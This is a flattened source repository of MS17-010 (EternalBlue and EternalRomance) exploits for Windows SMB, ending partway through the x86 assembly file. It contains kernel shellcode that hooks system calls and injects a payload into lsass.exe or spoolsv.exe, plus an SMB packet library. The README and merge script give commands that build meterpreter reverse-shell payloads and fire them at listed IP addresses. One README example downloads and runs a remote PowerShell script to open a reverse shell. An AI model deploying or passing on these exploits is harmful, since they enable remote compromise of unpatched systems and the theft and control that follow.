├── .gitignore ├── shellcode ├── eternalblue_sc_merge.py ├── eternalblue_kshellcode_x86.asm └── eternalblue_kshellcode_x64.asm ├── find_named_pipe.py ├── README.md ├── mysmb.py ├── eternalblue_exploit8.py ├── eternalblue_exploit7.py └── eternalromance.py /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_store 2 | -------------------------------------------------------------------------------- /shellcode/eternalblue_sc_merge.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from struct import pack 3 | 4 | if len(sys.argv) < 4: 5 | print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0])) 6 | sys.exit() 7 | 8 | sc_x86 = open(sys.argv[1], 'rb').read() 9 | sc_x64 = open(sys.argv[2], 'rb').read() 10 | 11 | fp = open(sys.argv[3], 'wb') 12 | ''' 13 | \x31\xc0 xor eax, eax 14 | \x40 inc eax 15 | \x0f\x84???? jz sc_x64 16 | ''' 17 | fp.write('\x31\xc0\x40\x0f\x84'+pack(' use exploit/multi/handler 26 | msf exploit(handler) > set ExitOnSession false 27 | msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp 28 | msf exploit(handler) > set EXITFUNC thread 29 | msf exploit(handler) > set LHOST 0.0.0.0 30 | msf exploit(handler) > set LPORT 4444 31 | msf exploit(handler) > exploit -j 32 | ... 33 | msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp 34 | msf exploit(handler) > set LPORT 4445 35 | msf exploit(handler) > exploit -j 36 | ... 37 | 38 | 39 | 40 | $ msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4444 41 | ... 42 | $ msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4445 43 | ... 44 | $ cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin 45 | $ cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin 46 | $ python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin 47 | $ python eternalblue_exploit7.py 192.168.13.81 sc_all.bin 48 | ... 49 | $ python eternalblue_exploit7.py 192.168.13.82 sc_all.bin 50 | ... 51 | $ python eternalblue_exploit7.py 192.168.13.83 sc_all.bin 52 | ... 53 | $ python eternalblue_exploit7.py 192.168.13.84 sc_all.bin 54 | ... 55 | ''' 56 | -------------------------------------------------------------------------------- /find_named_pipe.py: -------------------------------------------------------------------------------- 1 | from mysmb import MYSMB 2 | from impacket import smb, smbconnection, nt_errors 3 | from impacket.uuid import uuidtup_to_bin 4 | from impacket.dcerpc.v5.rpcrt import DCERPCException 5 | from struct import pack 6 | import sys 7 | 8 | ''' 9 | Script for 10 | - check target if MS17-010 is patched or not. 11 | - find accessible named pipe 12 | ''' 13 | 14 | 15 | NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 16 | 17 | MSRPC_UUID_BROWSER = uuidtup_to_bin(('6BFFD098-A112-3610-9833-012892020162','0.0')) 18 | MSRPC_UUID_SPOOLSS = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB','1.0')) 19 | MSRPC_UUID_NETLOGON = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB','1.0')) 20 | MSRPC_UUID_LSARPC = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AB','0.0')) 21 | MSRPC_UUID_SAMR = uuidtup_to_bin(('12345778-1234-ABCD-EF00-0123456789AC','1.0')) 22 | 23 | pipes = { 24 | 'browser' : MSRPC_UUID_BROWSER, 25 | 'spoolss' : MSRPC_UUID_SPOOLSS, 26 | 'netlogon' : MSRPC_UUID_NETLOGON, 27 | 'lsarpc' : MSRPC_UUID_LSARPC, 28 | 'samr' : MSRPC_UUID_SAMR, 29 | } 30 | 31 | 32 | if len(sys.argv) != 4: 33 | print("{} ".format(sys.argv[0])) 34 | sys.exit(1) 35 | 36 | target = sys.argv[1] 37 | username = sys.argv[2] 38 | password = sys.argv[3] 39 | 40 | conn = MYSMB(target) 41 | try: 42 | conn.login(username, password) 43 | except smb.SessionError, e: 44 | print('Login failed: ' + nt_errors.ERROR_MESSAGES[e.error_code][0]) 45 | sys.exit() 46 | finally: 47 | print('Target OS: ' + conn.get_server_os()) 48 | 49 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 50 | conn.set_default_tid(tid) 51 | 52 | 53 | # test if target is vulnerable 54 | TRANS_PEEK_NMPIPE = 0x23 55 | recvPkt = conn.send_trans(pack(' LPORT=` 29 | 3. `cat eternalblue_kshellcode_x64 meterpreter_msf.bin > sc_x64.bin` 30 | 4. `python eternalblue_exploit7.py shellcode/sc_x64.bin` 31 | 32 | 33 | ## Eternalromance 34 | 35 | This exploit exploits the same bug used by NSA's Eternalromance (and Eternalsynergy). A named pipe is needed, meaning on more modern (default) configurations you will need credentials in order for the exploit to work. In most cases, domain user credentials will suffice. 36 | 37 | ### Compatible targets 38 | 39 | - Windows 2016 x64 40 | - Windows 10 x64 41 | - Windows 10 x86 42 | - Windows 2012 R2 x64 43 | - Windows 2008 R2 SP1 x64 44 | - Windows 2008 SP1 x64 45 | - Windows 2008 SP1 x86 46 | - Windows 8.1 x64 47 | - Windows 8.1 x86 48 | - Windows 7 SP1 x86 49 | - Windows 7 SP1 x64 50 | - Windows 2003 SP2 x86 51 | - Windows 2003 R2 SP2 x64 52 | - Windows XP SP2 x64 53 | - Windows XP SP3 x86 54 | - Windows 2000 SP4 x86 55 | 56 | ### Usage 57 | 58 | Example for finding a named pipe (not required anymore, exploit now automatically finds a named pipe on the target): 59 | 60 | `python find_named_pipe.py 192.168.178.2 testuser Password123` 61 | 62 | Usage of `eternalromance.py`: 63 | 64 | `python eternalromance.py ` 65 | 66 | Example for spawning an Empire agent: 67 | 68 | `python eternalromance.py 192.168.178.2 testuser Password123 "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAUwB0AEUAbQAuAE4AZQBUAC..."` 69 | 70 | Example for spawning a meterpreter session: 71 | 72 | `python eternalromance.py 192.168.178.2 testuser Password123 "powershell -Exec ByPass -NoP -noexit \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.3/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.178.3 -Lport 8443 -Force \""` 73 | 74 | (I typically grab Invoke-Shellcode.ps1 from http://bit.ly/2cuWJTF, but that only works when the target has an unfiltered outbound connection.) 75 | -------------------------------------------------------------------------------- /mysmb.py: -------------------------------------------------------------------------------- 1 | # impacket SMB extension for MS17-010 exploit. 2 | # this file contains only valid SMB packet format operation. 3 | from impacket import smb, smbconnection 4 | from impacket.dcerpc.v5 import transport 5 | from struct import pack 6 | import os 7 | import random 8 | 9 | 10 | def getNTStatus(self): 11 | return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass'] 12 | setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus) 13 | 14 | ############# SMB_COM_TRANSACTION_SECONDARY (0x26) 15 | class SMBTransactionSecondary_Parameters(smb.SMBCommand_Parameters): 16 | structure = ( 17 | ('TotalParameterCount','H', len(req)) + req # assume length is <65536 231 | 232 | def send_raw(self, data): 233 | self.get_socket().send(data) 234 | 235 | def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 236 | if maxSetupCount is None: 237 | maxSetupCount = len(setup) 238 | if totalParameterCount is None: 239 | totalParameterCount = len(param) 240 | if totalDataCount is None: 241 | totalDataCount = len(data) 242 | if maxParameterCount is None: 243 | maxParameterCount = totalParameterCount 244 | if maxDataCount is None: 245 | maxDataCount = totalDataCount 246 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION) 247 | transCmd['Parameters'] = smb.SMBTransaction_Parameters() 248 | transCmd['Parameters']['TotalParameterCount'] = totalParameterCount 249 | transCmd['Parameters']['TotalDataCount'] = totalDataCount 250 | transCmd['Parameters']['MaxParameterCount'] = maxParameterCount 251 | transCmd['Parameters']['MaxDataCount'] = maxDataCount 252 | transCmd['Parameters']['MaxSetupCount'] = maxSetupCount 253 | transCmd['Parameters']['Flags'] = 0 254 | transCmd['Parameters']['Timeout'] = 0xffffffff 255 | transCmd['Parameters']['ParameterCount'] = len(param) 256 | transCmd['Parameters']['DataCount'] = len(data) 257 | transCmd['Parameters']['Setup'] = setup 258 | _put_trans_data(transCmd, param, data, noPad) 259 | return self.create_smb_packet(transCmd, mid, pid, tid) 260 | 261 | def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 262 | self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad)) 263 | return self.recvSMB() 264 | 265 | def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 266 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY) 267 | transCmd['Parameters'] = SMBTransactionSecondary_Parameters() 268 | transCmd['Parameters']['TotalParameterCount'] = len(param) 269 | transCmd['Parameters']['TotalDataCount'] = len(data) 270 | transCmd['Parameters']['ParameterCount'] = len(param) 271 | transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement 272 | transCmd['Parameters']['DataCount'] = len(data) 273 | transCmd['Parameters']['DataDisplacement'] = dataDisplacement 274 | 275 | _put_trans_data(transCmd, param, data, noPad) 276 | return self.create_smb_packet(transCmd, mid, pid, tid) 277 | 278 | def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 279 | self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad)) 280 | 281 | def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 282 | if maxSetupCount is None: 283 | maxSetupCount = len(setup) 284 | if totalParameterCount is None: 285 | totalParameterCount = len(param) 286 | if totalDataCount is None: 287 | totalDataCount = len(data) 288 | if maxParameterCount is None: 289 | maxParameterCount = totalParameterCount 290 | if maxDataCount is None: 291 | maxDataCount = totalDataCount 292 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2) 293 | transCmd['Parameters'] = smb.SMBTransaction2_Parameters() 294 | transCmd['Parameters']['TotalParameterCount'] = totalParameterCount 295 | transCmd['Parameters']['TotalDataCount'] = totalDataCount 296 | transCmd['Parameters']['MaxParameterCount'] = maxParameterCount 297 | transCmd['Parameters']['MaxDataCount'] = maxDataCount 298 | transCmd['Parameters']['MaxSetupCount'] = len(setup) 299 | transCmd['Parameters']['Flags'] = 0 300 | transCmd['Parameters']['Timeout'] = 0xffffffff 301 | transCmd['Parameters']['ParameterCount'] = len(param) 302 | transCmd['Parameters']['DataCount'] = len(data) 303 | transCmd['Parameters']['Setup'] = setup 304 | _put_trans_data(transCmd, param, data, noPad) 305 | return self.create_smb_packet(transCmd, mid, pid, tid) 306 | 307 | def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 308 | self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad)) 309 | return self.recvSMB() 310 | 311 | def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 312 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) 313 | transCmd['Parameters'] = SMBTransaction2Secondary_Parameters() 314 | transCmd['Parameters']['TotalParameterCount'] = len(param) 315 | transCmd['Parameters']['TotalDataCount'] = len(data) 316 | transCmd['Parameters']['ParameterCount'] = len(param) 317 | transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement 318 | transCmd['Parameters']['DataCount'] = len(data) 319 | transCmd['Parameters']['DataDisplacement'] = dataDisplacement 320 | 321 | _put_trans_data(transCmd, param, data, noPad) 322 | return self.create_smb_packet(transCmd, mid, pid, tid) 323 | 324 | def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 325 | self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad)) 326 | 327 | def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 328 | if maxSetupCount is None: 329 | maxSetupCount = len(setup) 330 | if totalParameterCount is None: 331 | totalParameterCount = len(param) 332 | if totalDataCount is None: 333 | totalDataCount = len(data) 334 | if maxParameterCount is None: 335 | maxParameterCount = totalParameterCount 336 | if maxDataCount is None: 337 | maxDataCount = totalDataCount 338 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) 339 | transCmd['Parameters'] = smb.SMBNTTransaction_Parameters() 340 | transCmd['Parameters']['MaxSetupCount'] = maxSetupCount 341 | transCmd['Parameters']['TotalParameterCount'] = totalParameterCount 342 | transCmd['Parameters']['TotalDataCount'] = totalDataCount 343 | transCmd['Parameters']['MaxParameterCount'] = maxParameterCount 344 | transCmd['Parameters']['MaxDataCount'] = maxDataCount 345 | transCmd['Parameters']['ParameterCount'] = len(param) 346 | transCmd['Parameters']['DataCount'] = len(data) 347 | transCmd['Parameters']['Function'] = function 348 | transCmd['Parameters']['Setup'] = setup 349 | _put_trans_data(transCmd, param, data, noPad) 350 | return self.create_smb_packet(transCmd, mid, pid, tid) 351 | 352 | def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): 353 | self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad)) 354 | return self.recvSMB() 355 | 356 | def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 357 | transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY) 358 | transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters() 359 | transCmd['Parameters']['TotalParameterCount'] = len(param) 360 | transCmd['Parameters']['TotalDataCount'] = len(data) 361 | transCmd['Parameters']['ParameterCount'] = len(param) 362 | transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement 363 | transCmd['Parameters']['DataCount'] = len(data) 364 | transCmd['Parameters']['DataDisplacement'] = dataDisplacement 365 | _put_trans_data(transCmd, param, data, noPad) 366 | return self.create_smb_packet(transCmd, mid, pid, tid) 367 | 368 | def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): 369 | self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad)) 370 | 371 | def recv_transaction_data(self, mid, minLen): 372 | data = '' 373 | while len(data) < minLen: 374 | recvPkt = self.recvSMB() 375 | if recvPkt['Mid'] != mid: 376 | continue 377 | resp = smb.SMBCommand(recvPkt['Data'][0]) 378 | data += resp['Data'][1:] # skip padding 379 | #print(len(data)) 380 | return data 381 | -------------------------------------------------------------------------------- /shellcode/eternalblue_kshellcode_x86.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x86 kernel shellcode from ring 0 to ring 3 by sleepya 3 | ; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py 4 | ; 5 | ; 6 | ; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0) 7 | ; 8 | ; 9 | ; Note: 10 | ; - The userland shellcode is run in a new thread of system process. 11 | ; If userland shellcode causes any exception, the system process get killed. 12 | ; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to 13 | ; get call because system call is called on other processors. 14 | ; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed. 15 | ; This helps running exploit against same target repeatly more reliable. 16 | ; - The userland payload MUST be appened to this shellcode. 17 | ; 18 | ; Reference: 19 | ; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info) 20 | ; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c 21 | 22 | BITS 32 23 | ORG 0 24 | 25 | 26 | PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78 27 | PSGETPROCESSID_HASH EQU 0x170114e1 28 | PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f 29 | LSASS_EXE_HASH EQU 0xc1fa6a5a 30 | SPOOLSV_EXE_HASH EQU 0x3ee083d8 31 | ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea 32 | PSGETTHREADTEB_HASH EQU 0xcef84c3e 33 | KEINITIALIZEAPC_HASH EQU 0x6d195cc4 34 | KEINSERTQUEUEAPC_HASH EQU 0xafcc4634 35 | PSGETPROCESSPEB_HASH EQU 0xb818b848 36 | CREATETHREAD_HASH EQU 0x835e515e 37 | 38 | 39 | 40 | DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0 41 | DATA_MODULE_ADDR_OFFSET EQU 0x4 42 | DATA_QUEUEING_KAPC_OFFSET EQU 0x8 43 | DATA_EPROCESS_OFFSET EQU 0xc 44 | DATA_KAPC_OFFSET EQU 0x10 45 | 46 | section .text 47 | global shellcode_start 48 | 49 | shellcode_start: 50 | 51 | setup_syscall_hook: 52 | ; IRQL is DISPATCH_LEVEL when got code execution 53 | %ifdef WIN7 54 | mov eax, [esp+0x20] ; fetch SRVNET_BUFFER address from function argument 55 | ; set nByteProcessed to free corrupted buffer after return 56 | mov ecx, [eax+0x14] 57 | mov [eax+0x1c], ecx 58 | %elifdef WIN8 59 | %endif 60 | 61 | pushad 62 | 63 | call _setup_syscall_hook_find_eip 64 | _setup_syscall_hook_find_eip: 65 | pop ebx 66 | 67 | call set_ebp_data_address_fn 68 | 69 | ; read current syscall 70 | mov ecx, 0x176 71 | rdmsr 72 | ; do NOT replace saved original syscall address with hook syscall 73 | lea edi, [ebx+syscall_hook-_setup_syscall_hook_find_eip] 74 | cmp eax, edi 75 | je _setup_syscall_hook_done 76 | 77 | ; if (saved_original_syscall != &KiFastCallEntry) do_first_time_initialize 78 | cmp dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax 79 | je _hook_syscall 80 | 81 | ; save original syscall 82 | mov dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax 83 | 84 | ; first time on the target, clear the data area 85 | ; edx should be zero from rdmsr 86 | mov dword [ebp+DATA_QUEUEING_KAPC_OFFSET], edx 87 | 88 | _hook_syscall: 89 | ; set a new syscall on running processor 90 | ; setting MSR 0x176 affects only running processor 91 | mov eax, edi 92 | xor edx, edx 93 | wrmsr 94 | 95 | _setup_syscall_hook_done: 96 | popad 97 | %ifdef WIN7 98 | xor eax, eax 99 | %elifdef WIN8 100 | xor eax, eax 101 | %endif 102 | ret 0x24 103 | 104 | ;======================================================================== 105 | ; Find memory address in HAL heap for using as data area 106 | ; Arguments: ebx = any address in this shellcode 107 | ; Return: ebp = data address 108 | ;======================================================================== 109 | set_ebp_data_address_fn: 110 | ; On idle target without user application, syscall on hijacked processor might not be called immediately. 111 | ; Find some address to store the data, the data in this address MUST not be modified 112 | ; when exploit is rerun before syscall is called 113 | lea ebp, [ebx + 0x1000] 114 | shr ebp, 12 115 | shl ebp, 12 116 | sub ebp, 0x50 ; for KAPC struct too 117 | ret 118 | 119 | 120 | syscall_hook: 121 | mov ecx, 0x23 122 | push 0x30 123 | pop fs 124 | mov ds,cx 125 | mov es,cx 126 | mov ecx, dword [fs:0x40] 127 | mov esp, dword [ecx+4] 128 | 129 | push ecx ; want this stack space to store original syscall addr 130 | pushfd 131 | pushad 132 | 133 | call _syscall_hook_find_eip 134 | _syscall_hook_find_eip: 135 | pop ebx 136 | 137 | call set_ebp_data_address_fn 138 | mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET] 139 | 140 | add eax, 0x17 ; adjust syscall entry, so we do not need to reverse start of syscall handler 141 | mov [esp+0x24], eax ; 0x4 (pushfd) + 0x20 (pushad) = 0x24 142 | 143 | ; use lock cmpxchg for queueing APC only one at a time 144 | xor eax, eax 145 | cdq 146 | inc edx 147 | lock cmpxchg byte [ebp+DATA_QUEUEING_KAPC_OFFSET], dl 148 | jnz _syscall_hook_done 149 | 150 | ;====================================== 151 | ; restore syscall 152 | ;====================================== 153 | ; an error after restoring syscall should never occur 154 | mov ecx, 0x176 155 | cdq 156 | mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET] 157 | wrmsr 158 | 159 | ; allow interrupts while executing shellcode 160 | sti 161 | call r3_to_r0_start 162 | cli 163 | 164 | _syscall_hook_done: 165 | popad 166 | popfd 167 | ret 168 | 169 | r3_to_r0_start: 170 | ;====================================== 171 | ; find nt kernel address 172 | ;====================================== 173 | mov eax, dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiFastCallEntry is an address in nt kernel 174 | shr eax, 0xc ; strip to page size 175 | shl eax, 0xc 176 | 177 | _find_nt_walk_page: 178 | sub eax, 0x1000 ; walk along page size 179 | cmp word [eax], 0x5a4d ; 'MZ' header 180 | jne _find_nt_walk_page 181 | 182 | ; save nt address 183 | mov [ebp+DATA_MODULE_ADDR_OFFSET], eax 184 | 185 | ;====================================== 186 | ; get current EPROCESS and ETHREAD 187 | ;====================================== 188 | mov eax, PSGETCURRENTPROCESS_HASH 189 | call win_api_direct 190 | xchg edi, eax ; edi = EPROCESS 191 | 192 | ;====================================== 193 | ; find offset of EPROCESS.ImageFilename 194 | ;====================================== 195 | mov eax, PSGETPROCESSIMAGEFILENAME_HASH 196 | push edi 197 | call win_api_direct 198 | sub eax, edi 199 | mov ecx, eax ; ecx = offset of EPROCESS.ImageFilename 200 | 201 | ;====================================== 202 | ; find offset of EPROCESS.ThreadListHead 203 | ;====================================== 204 | ; possible diff from ImageFilename offset is 0x1c and 0x24 (Win8+) 205 | ; if offset of ImageFilename is 0x170, current is (Win8+) 206 | %ifdef WIN7 207 | lea ebx, [eax+0x1c] 208 | %elifdef WIN8 209 | lea ebx, [eax+0x24] 210 | %else 211 | cmp eax, 0x170 ; eax is still an offset of EPROCESS.ImageFilename 212 | jne _find_eprocess_threadlist_offset_win7 213 | add eax, 0x8 214 | _find_eprocess_threadlist_offset_win7: 215 | lea ebx, [eax+0x1c] ; ebx = offset of EPROCESS.ThreadListHead 216 | %endif 217 | 218 | 219 | ;====================================== 220 | ; find offset of ETHREAD.ThreadListEntry 221 | ;====================================== 222 | ; edi = EPROCESS 223 | ; ebx = offset of EPROCESS.ThreadListHead 224 | lea esi, [edi+ebx] ; esi = address of EPROCESS.ThreadListHead 225 | mov eax, dword [fs:0x124] ; get _ETHREAD pointer from KPCR 226 | ; ETHREAD.ThreadListEntry must be between ETHREAD (eax) and ETHREAD+0x400 227 | _find_ethread_threadlist_offset_loop: 228 | mov esi, dword [esi] 229 | ; if (esi - edi < 0x400) found 230 | mov edx, esi 231 | sub edx, eax 232 | cmp edx, 0x400 233 | ja _find_ethread_threadlist_offset_loop ; need unsigned comparison 234 | push edx ; save offset of ETHREAD.ThreadListEntry to stack 235 | 236 | 237 | ;====================================== 238 | ; find offset of EPROCESS.ActiveProcessLinks 239 | ;====================================== 240 | mov eax, PSGETPROCESSID_HASH 241 | call get_proc_addr 242 | mov eax, dword [eax+0xa] ; get offset from code (offset of UniqueProcessId is always > 0x7f) 243 | lea edx, [eax+4] ; edx = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId) 244 | 245 | ;====================================== 246 | ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock 247 | ;====================================== 248 | ; edi = EPROCESS 249 | ; ecx = offset of EPROCESS.ImageFilename 250 | ; edx = offset of EPROCESS.ActiveProcessLinks 251 | _find_target_process_loop: 252 | lea esi, [edi+ecx] 253 | call calc_hash 254 | cmp eax, LSASS_EXE_HASH ; "lsass.exe" 255 | jz found_target_process 256 | %ifndef COMPACT 257 | cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe" 258 | jz found_target_process 259 | %endif 260 | ; next process 261 | mov edi, [edi+edx] 262 | sub edi, edx 263 | jmp _find_target_process_loop 264 | 265 | 266 | found_target_process: 267 | ; The allocation for userland payload will be in KernelApcRoutine. 268 | ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess() 269 | 270 | ;====================================== 271 | ; save EPROCESS for finding CreateThread address in kernel KAPC routine 272 | ;====================================== 273 | mov [ebp+DATA_EPROCESS_OFFSET], edi 274 | 275 | 276 | ;====================================== 277 | ; iterate ThreadList until KeInsertQueueApc() success 278 | ;====================================== 279 | ; edi = EPROCESS 280 | ; ebx = offset of EPROCESS.ThreadListHead 281 | 282 | lea ebx, [edi+ebx] ; use ebx for iterating thread 283 | lea esi, [ebp+DATA_KAPC_OFFSET] ; esi = KAPC address 284 | pop edi ; edi = offset of ETHREAD.ThreadListEntry 285 | 286 | 287 | ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset. 288 | ; Moreover, alertable thread need to be waiting state which is more difficult to check. 289 | ; try queueing APC then check KAPC member is more reliable. 290 | 291 | _insert_queue_apc_loop: 292 | ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front 293 | mov ebx, [ebx+4] 294 | ; no check list head 295 | 296 | ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer. 297 | ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL. 298 | ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer. 299 | ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL. 300 | ; Teb member is next to Queue member. 301 | mov eax, PSGETTHREADTEB_HASH 302 | call get_proc_addr 303 | mov eax, dword [eax+0xa] ; get offset from code (offset of Teb is always > 0x7f) 304 | %ifdef WIN7 305 | sub eax, edi 306 | cmp dword [ebx+eax-12], 0 ; KTHREAD.Queue MUST not be NULL 307 | %elifdef WIN8 308 | sub eax, edi 309 | cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL 310 | %else 311 | cmp al, 0xa0 ; win8+ offset is 0xa8 312 | ja _kthread_queue_check 313 | sub al, 8 ; late 5.2 to 6.1, displacement is 0xc 314 | _kthread_queue_check: 315 | sub eax, edi 316 | cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL 317 | %endif 318 | je _insert_queue_apc_loop 319 | 320 | ; KeInitializeApc(PKAPC, 321 | ; PKTHREAD, 322 | ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), 323 | ; PKKERNEL_ROUTINE = kernel_apc_routine, 324 | ; PKRUNDOWN_ROUTINE = NULL, 325 | ; PKNORMAL_ROUTINE = userland_shellcode, 326 | ; KPROCESSOR_MODE = UserMode (1), 327 | ; PVOID Context); 328 | xor eax, eax 329 | push ebp ; context 330 | push 1 ; UserMode 331 | push ebp ; userland shellcode (MUST NOT be NULL) 332 | push eax ; NULL 333 | call _init_kapc_find_kroutine 334 | _init_kapc_find_kroutine: 335 | add dword [esp], kernel_kapc_routine-_init_kapc_find_kroutine ; KernelApcRoutine 336 | push eax ; OriginalApcEnvironment 337 | push ebx 338 | sub [esp], edi ; ETHREAD 339 | push esi ; KAPC 340 | mov eax, KEINITIALIZEAPC_HASH 341 | call win_api_direct 342 | 343 | 344 | ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0); 345 | ; SystemArgument1 is second argument in usermode code 346 | ; SystemArgument2 is third argument in usermode code 347 | xor eax, eax 348 | push eax 349 | push eax ; SystemArgument2 350 | push eax ; SystemArgument1 351 | push esi ; PKAPC 352 | mov eax, KEINSERTQUEUEAPC_HASH 353 | call win_api_direct 354 | ; if insertion failed, try next thread 355 | test eax, eax 356 | jz _insert_queue_apc_loop 357 | 358 | mov eax, [ebp+DATA_KAPC_OFFSET+0xc] ; get KAPC.ApcListEntry 359 | ; EPROCESS pointer 4 bytes 360 | ; InProgressFlags 1 byte 361 | ; KernelApcPending 1 byte 362 | ; if success, UserApcPending MUST be 1 363 | cmp byte [eax+0xe], 1 364 | je _insert_queue_apc_done 365 | 366 | ; manual remove list without lock 367 | mov [eax], eax 368 | mov [eax+4], eax 369 | jmp _insert_queue_apc_loop 370 | 371 | _insert_queue_apc_done: 372 | ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine. 373 | 374 | _r3_to_r0_done: 375 | ret 376 | 377 | ;======================================================================== 378 | ; Call function in specific module 379 | ; 380 | ; All function arguments are passed as calling normal function with extra register arguments 381 | ; Extra Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer 382 | ; eax = hash of target function name 383 | ;======================================================================== 384 | win_api_direct: 385 | call get_proc_addr 386 | jmp eax 387 | 388 | 389 | ;======================================================================== 390 | ; Get function address in specific module 391 | ; 392 | ; Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer 393 | ; eax = hash of target function name 394 | ; 